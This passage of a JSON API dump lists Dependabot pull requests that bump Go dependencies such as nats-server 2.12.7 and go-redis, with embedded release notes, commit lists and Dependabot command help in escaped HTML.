fail fast when explicitly enabled with RESP3 (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3788\"\u003e#3788\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDial TCP retry\u003c/strong\u003e: \u003ccode\u003eShouldRetry\u003c/code\u003e now treats \u003ccode\u003enet.OpError\u003c/code\u003e with \u003ccode\u003eOp == \u0026quot;dial\u0026quot;\u003c/code\u003e timeout errors as safe to retry since no command was sent (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3787\"\u003e#3787\u003c/a\u003e) by \u003ca href=\"https://github.com/vladisa88\"\u003e\u003ccode\u003e@​vladisa88\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewrappedOnClose leak\u003c/strong\u003e: Fixed resource leak caused by repeatedly wrapping \u003ccode\u003ebaseClient\u003c/code\u003e close logic; replaced with a bounded, concurrency-safe named-hook registry (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3785\"\u003e#3785\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePool Close() on stale connections\u003c/strong\u003e: Suppress close errors (e.g., TLS \u003ccode\u003ecloseNotify\u003c/code\u003e timeouts) for connections already dropped by the server due to idle timeout (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3778\"\u003e#3778\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFIFO waiter ordering\u003c/strong\u003e: Fixed race in \u003ccode\u003eConnStateMachine.notifyWaiters\u003c/code\u003e that could wake multiple waiters under a single mutex hold and violate FIFO ordering (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3777\"\u003e#3777\u003c/a\u003e) by \u003ca href=\"https://github.com/0x48core\"\u003e\u003ccode\u003e@​0x48core\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLua READONLY detection\u003c/strong\u003e: Detect \u003ccode\u003eREADONLY\u003c/code\u003e errors embedded in Lua script error messages on read-only replicas so commands are correctly retried (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3769\"\u003e#3769\u003c/a\u003e) by \u003ca href=\"https://github.com/zhengjilei\"\u003e\u003ccode\u003e@​zhengjilei\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVectorScoreSliceCmd RESP2\u003c/strong\u003e: Fixed \u003ccode\u003eVSimWithScores\u003c/code\u003e, \u003ccode\u003eVSimWithArgsWithScores\u003c/code\u003e, and \u003ccode\u003eVLinksWithScores\u003c/code\u003e which were broken on RESP2 connections returning flat arrays instead of maps (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3767\"\u003e#3767\u003c/a\u003e) by \u003ca href=\"https://github.com/apps/copilot-swe-agent\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/redis/go-redis/blob/master/RELEASE-NOTES.md\"\u003egithub.com/redis/go-redis/v9's changelog\u003c/a\u003e.\u003c/em\u003e\u003c...\n\n_Description has been truncated_","html_url":"https://github.com/mezalabs/meza/pull/195","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/mezalabs%2Fmeza/issues/195","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/195/packages"}},{"old_version":"2.12.3","new_version":"2.12.7","update_type":"patch","path":null,"pr_created_at":"2026-04-20T22:45:45.000Z","version_change":"2.12.3 → 2.12.7","issue":{"uuid":"4299110382","node_id":"PR_kwDOPF7jX87UHyuI","number":27,"state":"closed","title":"deps(deps): bump github.com/nats-io/nats-server/v2 from 2.12.3 to 2.12.7","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-28T00:17:43.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-20T22:45:45.000Z","updated_at":"2026-04-28T00:17:45.000Z","time_to_close":610318,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"deps(deps)","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.3","new_version":"2.12.7","repository_url":"https://github.com/nats-io/nats-server"}],"path":null,"ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.12.3 to 2.12.7.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.7\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.9 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8017\"\u003e#8017\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8000\"\u003e#8000\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTBD\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePurging subjects from a stream now only loads filestore blocks within the range of where those subjects appear (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8004\"\u003e#8004\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMulti-filtered load next or previous message code paths now correctly identify single subject filters or full wildcards and switch to optimized paths (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8012\"\u003e#8012\u003c/a\u003e, 8013)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_mem_store\u003c/code\u003e and \u003ccode\u003emax_file_store\u003c/code\u003e configuration options can now be increased (but not decreased) via config reload (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8014\"\u003e#8014\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eno_auth_user\u003c/code\u003e is now restricted to client connections only\u003c/li\u003e\n\u003cli\u003eOverlapping wildcard patterns in ACL \u003ccode\u003edeny\u003c/code\u003e patterns are now enforced correctly\u003c/li\u003e\n\u003cli\u003eQueue subscriptions can no longer incorrectly bypass non-queue ACL \u003ccode\u003edeny\u003c/code\u003e patterns\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePre-\u003ccode\u003eCONNECT\u003c/code\u003e guard improvements for leafnode connections, fixing a potential panic\u003c/li\u003e\n\u003cli\u003eACL permissions are now correctly enforced for inbound leaf messages in all cases\u003c/li\u003e\n\u003cli\u003eDuplicate \u003ccode\u003eINFO\u003c/code\u003e permissions updates are now only accepted for solicited leaf connections\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_payload\u003c/code\u003e limit is now correctly enforced for leafnode connections\u003c/li\u003e\n\u003cli\u003eA panic on leafnode connect when failing to resolve an account has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7991\"\u003e#7991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eConsumer \u003ccode\u003emax_ack_pending\u003c/code\u003e should no longer become stuck due to deleted messages being left in the consumer pending state (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7984\"\u003e#7984\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWhen scaling up a stream and adding subjects at the same time, the new subject filters are now correctly subscribed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8003\"\u003e#8003\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFilestore caches are no longer expired and evicted from memory too eagerly after a recent write (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8009\"\u003e#8009\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream leaders can catch up from a snapshot if required (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8021\"\u003e#8021\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b4ce0f990e42bc6f24df0c40eafbc4c8a2ac5b6c\"\u003e\u003ccode\u003eb4ce0f9\u003c/code\u003e\u003c/a\u003e Release v2.12.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/195b07aab04f8f54fc80630d4405350e31b90839\"\u003e\u003ccode\u003e195b07a\u003c/code\u003e\u003c/a\u003e Fix fast-path \u003ccode\u003eno_auth_user\u003c/code\u003e for WebSockets where WS-specific account configured\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/213391e90f57883e6977479931c7ae638c0678af\"\u003e\u003ccode\u003e213391e\u003c/code\u003e\u003c/a\u003e [FIXED] Stream leader can catchup from snapshot if required\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e0b0bdac0b512ac6812a3e29def379dd09010149\"\u003e\u003ccode\u003ee0b0bda\u003c/code\u003e\u003c/a\u003e Release v2.12.7-RC.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d2c6139a8d85ccf9bb9a11eaad68f7f69eef0ac0\"\u003e\u003ccode\u003ed2c6139\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.12.7-RC.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/79\"\u003e#79\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/97a3f84f51195e9466e0332fcb5c262b416aadbf\"\u003e\u003ccode\u003e97a3f84\u003c/code\u003e\u003c/a\u003e Update to Go 1.25.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/a824f30c890d970fd64abc0b7fdf94a0aaa1d72a\"\u003e\u003ccode\u003ea824f30\u003c/code\u003e\u003c/a\u003e [IMPROVED] Allow reloading increased max memory and store\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/56548be07bc406fbccd31b130a54cb07d0b0066c\"\u003e\u003ccode\u003e56548be\u003c/code\u003e\u003c/a\u003e \u003ccode\u003eLoadNextMsgMulti\u003c/code\u003e and \u003ccode\u003eLoadPrevMsgMulti\u003c/code\u003e use fast path for single filter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b1776c639c1112ee108341a4739460595fc87fd5\"\u003e\u003ccode\u003eb1776c6\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eMatchesSingleFilter\u003c/code\u003e to generic sublist\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/807d653bf56bf8d417b93f47a6a6ea883d5b5493\"\u003e\u003ccode\u003e807d653\u003c/code\u003e\u003c/a\u003e Complete filtered \u003ccode\u003eLoadPrevMsg\u003c/code\u003e implementation\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.3...v2.12.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=github.com/nats-io/nats-server/v2\u0026package-manager=go_modules\u0026previous-version=2.12.3\u0026new-version=2.12.7)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/joeblew999/.github/pull/27","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/joeblew999%2F.github/issues/27","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/27/packages"}},{"old_version":"2.12.6","new_version":"2.12.7","update_type":"patch","path":null,"pr_created_at":"2026-04-20T22:41:08.000Z","version_change":"2.12.6 → 2.12.7","issue":{"uuid":"4299094348","node_id":"PR_kwDOCVUCTs7UHvW3","number":815,"state":"closed","title":"Bump github.com/nats-io/nats-server/v2 from 2.12.6 to 2.12.7","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-28T00:12:13.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-20T22:41:08.000Z","updated_at":"2026-04-28T00:12:15.000Z","time_to_close":610265,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.12.7","repository_url":"https://github.com/nats-io/nats-server"}],"path":null,"ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.12.6 to 2.12.7.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.7\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.9 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8017\"\u003e#8017\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8000\"\u003e#8000\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTBD\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePurging subjects from a stream now only loads filestore blocks within the range of where those subjects appear (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8004\"\u003e#8004\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMulti-filtered load next or previous message code paths now correctly identify single subject filters or full wildcards and switch to optimized paths (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8012\"\u003e#8012\u003c/a\u003e, 8013)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_mem_store\u003c/code\u003e and \u003ccode\u003emax_file_store\u003c/code\u003e configuration options can now be increased (but not decreased) via config reload (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8014\"\u003e#8014\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eno_auth_user\u003c/code\u003e is now restricted to client connections only\u003c/li\u003e\n\u003cli\u003eOverlapping wildcard patterns in ACL \u003ccode\u003edeny\u003c/code\u003e patterns are now enforced correctly\u003c/li\u003e\n\u003cli\u003eQueue subscriptions can no longer incorrectly bypass non-queue ACL \u003ccode\u003edeny\u003c/code\u003e patterns\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePre-\u003ccode\u003eCONNECT\u003c/code\u003e guard improvements for leafnode connections, fixing a potential panic\u003c/li\u003e\n\u003cli\u003eACL permissions are now correctly enforced for inbound leaf messages in all cases\u003c/li\u003e\n\u003cli\u003eDuplicate \u003ccode\u003eINFO\u003c/code\u003e permissions updates are now only accepted for solicited leaf connections\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_payload\u003c/code\u003e limit is now correctly enforced for leafnode connections\u003c/li\u003e\n\u003cli\u003eA panic on leafnode connect when failing to resolve an account has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7991\"\u003e#7991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eConsumer \u003ccode\u003emax_ack_pending\u003c/code\u003e should no longer become stuck due to deleted messages being left in the consumer pending state (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7984\"\u003e#7984\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWhen scaling up a stream and adding subjects at the same time, the new subject filters are now correctly subscribed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8003\"\u003e#8003\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFilestore caches are no longer expired and evicted from memory too eagerly after a recent write (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8009\"\u003e#8009\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream leaders can catch up from a snapshot if required (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8021\"\u003e#8021\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b4ce0f990e42bc6f24df0c40eafbc4c8a2ac5b6c\"\u003e\u003ccode\u003eb4ce0f9\u003c/code\u003e\u003c/a\u003e Release v2.12.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/195b07aab04f8f54fc80630d4405350e31b90839\"\u003e\u003ccode\u003e195b07a\u003c/code\u003e\u003c/a\u003e Fix fast-path \u003ccode\u003eno_auth_user\u003c/code\u003e for WebSockets where WS-specific account configured\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/213391e90f57883e6977479931c7ae638c0678af\"\u003e\u003ccode\u003e213391e\u003c/code\u003e\u003c/a\u003e [FIXED] Stream leader can catchup from snapshot if required\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e0b0bdac0b512ac6812a3e29def379dd09010149\"\u003e\u003ccode\u003ee0b0bda\u003c/code\u003e\u003c/a\u003e Release v2.12.7-RC.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d2c6139a8d85ccf9bb9a11eaad68f7f69eef0ac0\"\u003e\u003ccode\u003ed2c6139\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.12.7-RC.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/79\"\u003e#79\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/97a3f84f51195e9466e0332fcb5c262b416aadbf\"\u003e\u003ccode\u003e97a3f84\u003c/code\u003e\u003c/a\u003e Update to Go 1.25.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/a824f30c890d970fd64abc0b7fdf94a0aaa1d72a\"\u003e\u003ccode\u003ea824f30\u003c/code\u003e\u003c/a\u003e [IMPROVED] Allow reloading increased max memory and store\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/56548be07bc406fbccd31b130a54cb07d0b0066c\"\u003e\u003ccode\u003e56548be\u003c/code\u003e\u003c/a\u003e \u003ccode\u003eLoadNextMsgMulti\u003c/code\u003e and \u003ccode\u003eLoadPrevMsgMulti\u003c/code\u003e use fast path for single filter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b1776c639c1112ee108341a4739460595fc87fd5\"\u003e\u003ccode\u003eb1776c6\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eMatchesSingleFilter\u003c/code\u003e to generic sublist\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/807d653bf56bf8d417b93f47a6a6ea883d5b5493\"\u003e\u003ccode\u003e807d653\u003c/code\u003e\u003c/a\u003e Complete filtered \u003ccode\u003eLoadPrevMsg\u003c/code\u003e implementation\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.12.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=github.com/nats-io/nats-server/v2\u0026package-manager=go_modules\u0026previous-version=2.12.6\u0026new-version=2.12.7)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/nats-io/nsc/pull/815","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/nats-io%2Fnsc/issues/815","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/815/packages"}},{"old_version":"2.12.6","new_version":"2.12.7","update_type":"patch","path":null,"pr_created_at":"2026-04-20T15:51:42.000Z","version_change":"2.12.6 → 2.12.7","issue":{"uuid":"4296954022","node_id":"PR_kwDORbaf5c7UAv6T","number":190,"state":"closed","title":"chore(deps): bump the go-minor-patch group across 1 directory with 13 updates","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-27T06:03:37.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-20T15:51:42.000Z","updated_at":"2026-04-27T06:03:38.000Z","time_to_close":569515,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"go-minor-patch","update_count":13,"packages":[{"name":"github.com/alicebob/miniredis/v2","old_version":"2.36.1","new_version":"2.37.0","repository_url":"https://github.com/alicebob/miniredis"},{"name":"github.com/davidbyttow/govips/v2","old_version":"2.16.0","new_version":"2.18.0","repository_url":"https://github.com/davidbyttow/govips"},{"name":"github.com/jackc/pgx/v5","old_version":"5.7.2","new_version":"5.9.2","repository_url":"https://github.com/jackc/pgx"},{"name":"github.com/livekit/protocol","old_version":"1.44.1-0.20260120134243-0914cc74653e","new_version":"1.45.3","repository_url":"https://github.com/livekit/protocol"},{"name":"github.com/livekit/server-sdk-go/v2","old_version":"2.13.3","new_version":"2.16.2","repository_url":"https://github.com/livekit/server-sdk-go"},{"name":"github.com/minio/minio-go/v7","old_version":"7.0.98","new_version":"7.0.100","repository_url":"https://github.com/minio/minio-go"},{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.6","new_version":"2.12.7","repository_url":"https://github.com/nats-io/nats-server"},{"name":"github.com/oklog/ulid/v2","old_version":"2.1.0","new_version":"2.1.1","repository_url":"https://github.com/oklog/ulid"},{"name":"github.com/redis/go-redis/v9","old_version":"9.17.2","new_version":"9.18.0","repository_url":"https://github.com/redis/go-redis"},{"name":"golang.org/x/crypto","old_version":"0.49.0","new_version":"0.50.0","repository_url":"https://github.com/golang/crypto"},{"name":"google.golang.org/api","old_version":"0.269.0","new_version":"0.276.0","repository_url":"https://github.com/googleapis/google-api-go-client"}],"path":null,"ecosystem":"go"},"body":"Bumps the go-minor-patch group with 11 updates in the /server directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [github.com/alicebob/miniredis/v2](https://github.com/alicebob/miniredis) | `2.36.1` | `2.37.0` |\n| [github.com/davidbyttow/govips/v2](https://github.com/davidbyttow/govips) | `2.16.0` | `2.18.0` |\n| [github.com/jackc/pgx/v5](https://github.com/jackc/pgx) | `5.7.2` | `5.9.2` |\n| [github.com/livekit/protocol](https://github.com/livekit/protocol) | `1.44.1-0.20260120134243-0914cc74653e` | `1.45.3` |\n| [github.com/livekit/server-sdk-go/v2](https://github.com/livekit/server-sdk-go) | `2.13.3` | `2.16.2` |\n| [github.com/minio/minio-go/v7](https://github.com/minio/minio-go) | `7.0.98` | `7.0.100` |\n| [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) | `2.12.6` | `2.12.7` |\n| [github.com/oklog/ulid/v2](https://github.com/oklog/ulid) | `2.1.0` | `2.1.1` |\n| [github.com/redis/go-redis/v9](https://github.com/redis/go-redis) | `9.17.2` | `9.18.0` |\n| [golang.org/x/crypto](https://github.com/golang/crypto) | `0.49.0` | `0.50.0` |\n| [google.golang.org/api](https://github.com/googleapis/google-api-go-client) | `0.269.0` | `0.276.0` |\n\n\nUpdates `github.com/alicebob/miniredis/v2` from 2.36.1 to 2.37.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/alicebob/miniredis/releases\"\u003egithub.com/alicebob/miniredis/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eHEXPIRE\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003esupport HEXPIRE (thanks \u003ca href=\"https://github.com/mojixcoder\"\u003e\u003ccode\u003e@​mojixcoder\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca 